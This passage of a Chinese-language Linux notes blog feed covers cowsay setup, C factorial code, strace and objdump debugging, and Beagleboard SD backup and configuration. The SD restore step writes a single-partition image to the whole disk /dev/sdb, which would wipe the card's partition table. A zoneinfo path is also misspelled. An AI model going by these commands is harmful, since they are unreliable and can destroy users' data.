rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>台灣</georss:featurename><georss:point>23.69781 120.96051499999999</georss:point><georss:box>16.2578895 110.6333665 31.1377305 131.28766349999998</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-7785716764437065629</id><published>2014-06-25T20:10:00.001+08:00</published><updated>2016-12-27T09:25:10.720+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>安裝Cowday到你的linux歡迎訊息，message of day linux</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8UZRmHmOGg7hZEd5P58mU7q28RZFS_lqxgiGoiwLS_FKAdW-grRqoFD7FRfGKvOGjo6K9X7tl3Q48RO6DtVoZhkRYRH2AXLvuRzskrX_DwGZNf37I_T6F_ZnNSoeVv72puVSIuaFF9r4/s1600/cowsay.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;356&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8UZRmHmOGg7hZEd5P58mU7q28RZFS_lqxgiGoiwLS_FKAdW-grRqoFD7FRfGKvOGjo6K9X7tl3Q48RO6DtVoZhkRYRH2AXLvuRzskrX_DwGZNf37I_T6F_ZnNSoeVv72puVSIuaFF9r4/s1600/cowsay.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;1.先安裝&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;border: 0px; color: #41484d; font-size: 14px; padding: 0px;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;border: 0px; color: #c20cb9; font-weight: bold; margin: 0px; padding: 0px;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;border: 0px; color: #c20cb9; font-weight: bold; margin: 0px; padding: 0px;&quot;&gt;apt-get&lt;/span&gt; &lt;span style=&quot;border: 0px; color: #c20cb9; font-weight: bold; margin: 0px; padding: 0px;&quot;&gt;install&lt;/span&gt; fortune cowsay&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;2接著加入以下指令到 bash.bashrc中，這樣每次開啟terminal 或 ssh 就會有隻牛跟你說話囉&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;sudo vim&amp;nbsp;&lt;span style=&quot;color: #41484d; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 14px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;border: 0px; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 14px; font-weight: bold; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #41484d; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 14px;&quot;&gt;etc&lt;/span&gt;&lt;span style=&quot;border: 0px; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 14px; font-weight: bold; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #41484d; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 14px;&quot;&gt;bash.bashrc&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;wp_syntax&quot; style=&quot;border: 0px; color: #41484d; font-family: Arial, Tahoma, Verdana, Helvetica, sans-serif; font-size: 14px; margin: 0px; padding: 0px;&quot;&gt;
&lt;div class=&quot;code&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;border: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br style=&quot;background-color: #adadad; border: 0px; color: #41484d; font-family: Arial, Tahoma, Verdana, Helvetica, sans-serif; font-size: 14px; margin: 0px; padding: 0px;&quot; /&gt;
&lt;div class=&quot;wp_syntax&quot; style=&quot;background-color: #adadad; border: 0px; color: #41484d; font-family: Arial, Tahoma, Verdana, Helvetica, sans-serif; font-size: 14px; margin: 0px; padding: 0px;&quot;&gt;
&lt;div class=&quot;code&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;border: 0px; padding: 0px;&quot;&gt;# Spicing up Terminal
fortune | cowsay -n
echo&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
source:&amp;nbsp;http://xtremediary.blogspot.tw/2010/04/spice-up-ubuntulinux-terminal-with.html&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/7785716764437065629/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/7785716764437065629' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/7785716764437065629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/7785716764437065629'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/cowdaylinuxmessage-of-day-linux.html' title='安裝Cowday到你的linux歡迎訊息，message of day linux'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8UZRmHmOGg7hZEd5P58mU7q28RZFS_lqxgiGoiwLS_FKAdW-grRqoFD7FRfGKvOGjo6K9X7tl3Q48RO6DtVoZhkRYRH2AXLvuRzskrX_DwGZNf37I_T6F_ZnNSoeVv72puVSIuaFF9r4/s72-c/cowsay.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>台灣</georss:featurename><georss:point>23.69781 120.96051499999999</georss:point><georss:box>16.2578895 110.6333665 31.1377305 131.28766349999998</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-234211869325580215</id><published>2014-06-25T12:09:00.002+08:00</published><updated>2016-12-27T09:25:37.393+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="algorithms"/><title type='text'>C語言階層的遞迴與迴圈 - example factorial  recursion and iteration.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
筆記一下C語言階層的遞迴與迴圈寫法，這個範例不考慮溢位的問題。&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;pre class=&quot;brush: c&quot;&gt;#include&lt;stdio .h=&quot;&quot;&gt;

/*
*  example for recursion and iteration 
*  I know it should return error if n &amp;lt; 0, but this just a simple example for study.
*  Do not care about overflow issues this example. 
*/
unsigned int factorial_recursion(int n)
{

   /* return n&amp;gt;=1 ? n * factorial_recursion(n-1) : 1; */

   if(n==0)
      return 1;  /*Base case */
   else
      return n * factorial_recursion(n-1); /*General case */

}


unsigned int factorial_iteration(int n)
{
  int i=1;
  int result=1;

  for(i=1; i &amp;lt;= n  ; i++)
  {
    /*result *= i */
    result=result * i;
  }

  return result;
}

int main()
{

  printf(&quot; %d \n&quot;,factorial_recursion(10));
  printf(&quot; %d \n&quot;,factorial_iteration(10));

}
&lt;/stdio&gt;&lt;/pre&gt;
&lt;span style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: center;&quot;&gt;原始碼:&lt;a href=&quot;https://github.com/tzuCarlos/linux_C/blob/master/c_examples/factorial.c&quot;&gt;https://github.com/tzuCarlos/linux_C/blob/master/c_examples/factorial.c&lt;/a&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/234211869325580215/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/234211869325580215' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/234211869325580215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/234211869325580215'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/c-example-factorial-recursion-and.html' title='C語言階層的遞迴與迴圈 - example factorial  recursion and iteration.'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-4020317765634589356</id><published>2014-06-18T17:13:00.000+08:00</published><updated>2016-12-27T09:31:26.307+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>Strace cross compile PowerPC</title><content type='html'>今天遇到一個bug Web daemon隨機會segmentation fault&lt;br /&gt;
&lt;br /&gt;
想用Strace來debug看看&lt;br /&gt;
在這抓 - http://sourceforge.net/projects/strace/files/strace/&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;./configure --host=powerpc-linux CC=powerpc-linux-gcc LD=powerpc-linux-ld&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;make之後就可以放上機器上囉。&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;在機器上執行:Strace -f -o web.trace webs&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;神奇的事發生了，這時候我的web daemon就不會掛掉了。&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;只好，慢慢trace code了，最後是發現有人做這樣的行為，寫C時要小心，別亂copy亂指的。&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;UCHAR old_pass[32];&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;UCHAR *passphrase;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;strcpy(passphrase, old_pass);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;background-color: #f6f6f6;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;trebuchet ms&amp;quot; , &amp;quot;trebuchet&amp;quot; , &amp;quot;verdana&amp;quot; , sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;background-color: #f6f6f6;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/4020317765634589356/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/4020317765634589356' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4020317765634589356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4020317765634589356'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/strace-cross-compile-powerpc.html' title='Strace cross compile PowerPC'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>台灣</georss:featurename><georss:point>23.69781 120.96051499999999</georss:point><georss:box>16.2578895 110.6333665 31.1377305 131.28766349999998</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-125297163486475084</id><published>2014-06-17T16:08:00.002+08:00</published><updated>2016-12-27T09:31:17.198+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>objdump gcc Assembly debug筆記</title><content type='html'>gcc -s xxxx 可以篇成組合語言&lt;br /&gt;
gcc -g xxxx 之後可以用&lt;br /&gt;
objdump -S a.out 看到組語、C code&lt;br /&gt;
&lt;br /&gt;
遇到要debug kernel panic時很好用! :)&lt;br /&gt;
&lt;br /&gt;
example:&lt;br /&gt;
[carlos@localhost testC]$ objdump -S ./a.out &lt;br /&gt;
&lt;br /&gt;
./a.out: &amp;nbsp; &amp;nbsp; file format elf32-i386&lt;br /&gt;
&lt;br /&gt;
080483d4 &lt;func1&gt;:&lt;/func1&gt;&lt;br /&gt;
&lt;br /&gt;
int func1()&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;80483d4: &amp;nbsp; &amp;nbsp; &amp;nbsp; 55 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;push &amp;nbsp; %ebp&lt;br /&gt;
&amp;nbsp;80483d5: &amp;nbsp; &amp;nbsp; &amp;nbsp; 89 e5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%esp,%ebp&lt;br /&gt;
&amp;nbsp;80483d7: &amp;nbsp; &amp;nbsp; &amp;nbsp; 83 ec 08 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sub &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;br /&gt;
&amp;nbsp; &amp;nbsp;printf(&quot;WAT WAT WAT \n&quot;);&lt;br /&gt;
&amp;nbsp;80483da: &amp;nbsp; &amp;nbsp; &amp;nbsp; c7 04 24 10 85 04 08 &amp;nbsp; &amp;nbsp;movl &amp;nbsp; $0x8048510,(%esp)&lt;br /&gt;
&amp;nbsp;80483e1: &amp;nbsp; &amp;nbsp; &amp;nbsp; e8 02 ff ff ff &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;call &amp;nbsp; 80482e8 &lt;puts plt=&quot;&quot;&gt;&lt;/puts&gt;&lt;br /&gt;
}&lt;br /&gt;
&amp;nbsp;80483e6: &amp;nbsp; &amp;nbsp; &amp;nbsp; c9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;leave &lt;br /&gt;
&amp;nbsp;80483e7: &amp;nbsp; &amp;nbsp; &amp;nbsp; c3 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ret </content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/125297163486475084/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/125297163486475084' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/125297163486475084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/125297163486475084'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/objdump-gcc-assembly-debug.html' title='objdump gcc Assembly debug筆記'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-1493908108811139393</id><published>2014-06-12T20:44:00.004+08:00</published><updated>2014-06-12T20:44:51.385+08:00</updated><title type='text'>備分Beagleboard sd卡</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
a.首先執行fdisk -l, 可以看到我的sd卡是在/dev/sdb1跟/dev/sdb2，基本上只要備份sdb2的file system就夠了。&lt;br /&gt;
&lt;br /&gt;
karose@karose-VirtualBox:~$ sudo fdisk -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/sda: 21.8 GB, 21802237952 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 2650 cylinders, total 42582496 sectors&lt;br /&gt;
Units = sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk identifier: 0x00079d59&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;Device Boot &amp;nbsp; &amp;nbsp; &amp;nbsp;Start &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; End &amp;nbsp; &amp;nbsp; &amp;nbsp;Blocks &amp;nbsp; Id &amp;nbsp;System&lt;br /&gt;
/dev/sda1 &amp;nbsp; * &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2048 &amp;nbsp; &amp;nbsp;39186431 &amp;nbsp; &amp;nbsp;19592192 &amp;nbsp; 83 &amp;nbsp;Linux&lt;br /&gt;
/dev/sda2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;39188478 &amp;nbsp; &amp;nbsp;42582015 &amp;nbsp; &amp;nbsp; 1696769 &amp;nbsp; &amp;nbsp;5 &amp;nbsp;Extended&lt;br /&gt;
/dev/sda5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;39188480 &amp;nbsp; &amp;nbsp;42582015 &amp;nbsp; &amp;nbsp; 1696768 &amp;nbsp; 82 &amp;nbsp;Linux swap / Solaris&lt;br /&gt;
&lt;br /&gt;
Disk /dev/sdb: 7860 MB, 7860125696 bytes&lt;br /&gt;
242 heads, 62 sectors/track, 1023 cylinders, total 15351808 sectors&lt;br /&gt;
Units = sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk identifier: 0x00000000&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;Device Boot &amp;nbsp; &amp;nbsp; &amp;nbsp;Start &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; End &amp;nbsp; &amp;nbsp; &amp;nbsp;Blocks &amp;nbsp; Id &amp;nbsp;System&lt;br /&gt;
/dev/sdb1 &amp;nbsp; * &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2048 &amp;nbsp; &amp;nbsp; &amp;nbsp;198655 &amp;nbsp; &amp;nbsp; &amp;nbsp; 98304 &amp;nbsp; &amp;nbsp;e &amp;nbsp;W95 FAT16 (LBA)&lt;br /&gt;
/dev/sdb2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;198656 &amp;nbsp; &amp;nbsp;15351807 &amp;nbsp; &amp;nbsp; 7576576 &amp;nbsp; 83 &amp;nbsp;Linux&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
b.使用dd 把/dev/sdb2備份起來到home/backup下面。&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;sudo dd if=/dev/sdb2 | gzip -1 &amp;gt; /home/backup/sd_backup.img.gz&lt;br /&gt;
&lt;br /&gt;
c.要還原就用下面的指令。&lt;br /&gt;
&lt;pre style=&quot;background: rgb(247, 247, 247); border: 0px; color: #222222; font-family: &#39;Courier 10 Pitch&#39;, Courier, monospace; font-size: 15px; line-height: 21px; margin-bottom: 24px; padding: 1.5em; vertical-align: baseline;&quot;&gt;zcat sd_backup.img.gz &amp;gt; /dev/sdb&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
source:http://www.gigamegablog.com/2012/09/26/beaglebone-101-linux-tricks-for-backing-up-and-resizing-your-microsd-card/&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/1493908108811139393/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/1493908108811139393' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/1493908108811139393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/1493908108811139393'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/beagleboard-sd.html' title='備分Beagleboard sd卡'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-3194570174734461789</id><published>2014-06-10T22:13:00.003+08:00</published><updated>2014-06-16T15:57:40.622+08:00</updated><title type='text'>Beagleboard-XM 更改時區+開啟audio+ Lxde中文</title><content type='html'>1.更改時區為台灣時區&lt;br /&gt;
(To change timezone to Taiwan.)&lt;br /&gt;
$ sudo tzselect&lt;br /&gt;
$ sudo cp /usr/share/zoneinfo/Aisa/Taipei /etc/localtime&lt;br /&gt;
$ sudo hwclock -w&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.開啟音效，預設是沒聲音的&lt;br /&gt;
(enable audio, seems it&#39;s disabled by default)&lt;br /&gt;
https://developer.ridgerun.com/wiki/index.php/Getting_Started_Guide_for_DM3730_Beagleboard-xM&lt;br /&gt;
&lt;br /&gt;
amixer sset &#39;DAC1 Digital Fine&#39; 40&lt;br /&gt;
amixer sset &#39;Headset&#39; 2&lt;br /&gt;
amixer sset &#39;HeadsetL Mixer AudioL1&#39; on&lt;br /&gt;
amixer sset &#39;HeadsetR Mixer AudioR1&#39; on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.Install Chinese font packet.&lt;br /&gt;
安裝中文字型sudo apt-get install ttf-arphic-uming&lt;br /&gt;
&lt;br /&gt;
4. Install pdf reader&lt;br /&gt;
sudo apt-get install evince&lt;br /&gt;
&lt;span style=&quot;color: #2060a0; font-family: Monaco, Lucida Console, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 18.200000762939453px;&quot;&gt;apt-get install poppler-data&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #2060a0; font-family: Monaco, Lucida Console, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 18.200000762939453px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #2060a0; font-family: Monaco, Lucida Console, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 18.200000762939453px;&quot;&gt;5.Wireshark 權限給不是root的user&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: whitesmoke; font-family: Consolas, Monaco, &#39;Liberation Mono&#39;, &#39;Lucida Console&#39;, monospace; font-size: 12px; line-height: 20px; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; white-space: pre-wrap; width: 580px;&quot;&gt;sudo dpkg-reconfigure wireshark-common &lt;/pre&gt;
&lt;pre style=&quot;background-color: whitesmoke; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; width: 580px;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Monaco, Liberation Mono, Lucida Console, monospace;&quot;&gt;&lt;span style=&quot;font-size: 12px; line-height: 20px; white-space: pre-wrap;&quot;&gt;http://ask.wireshark.org/questions/7976/wireshark-setup-linux-for-nonroot-user&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: whitesmoke; font-family: Consolas, Monaco, &#39;Liberation Mono&#39;, &#39;Lucida Console&#39;, monospace; font-size: 12px; line-height: 20px; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; white-space: pre-wrap; width: 580px;&quot;&gt;6.Network-Manager權限&lt;/pre&gt;
&lt;pre style=&quot;background-color: whitesmoke; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; width: 580px;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Monaco, Liberation Mono, Lucida Console, monospace;&quot;&gt;&lt;span style=&quot;font-size: 12px; line-height: 20px; white-space: pre-wrap;&quot;&gt;sudo vi /etc/polkit-1/localauthority/50-local.d/org.freedesktop.NetworkManager.pkla&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: whitesmoke; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; width: 580px;&quot;&gt;[nm-applet]
Identity=unix-group:netdev
Action=org.freedesktop.NetworkManager.*
ResultAny=yes
ResultInactive=no
ResultActive=yes&lt;/pre&gt;
&lt;pre style=&quot;background-color: whitesmoke; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; width: 580px;&quot;&gt;source:http://jeffhoogland.blogspot.tw/2012/05/howto-give-network-manager-sufficient.html&lt;/pre&gt;
&lt;pre style=&quot;background-color: whitesmoke; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; width: 580px;&quot;&gt;7. 解決 Xterm 不能copy paste&lt;/pre&gt;
&lt;pre style=&quot;background-color: whitesmoke; margin-bottom: 10px; overflow: auto; padding-left: 5px; padding-top: 5px; width: 580px;&quot;&gt;&lt;pre&gt;&lt;code&gt;sudo apt-get install parcellite&lt;/code&gt;&lt;/pre&gt;
&lt;/pre&gt;
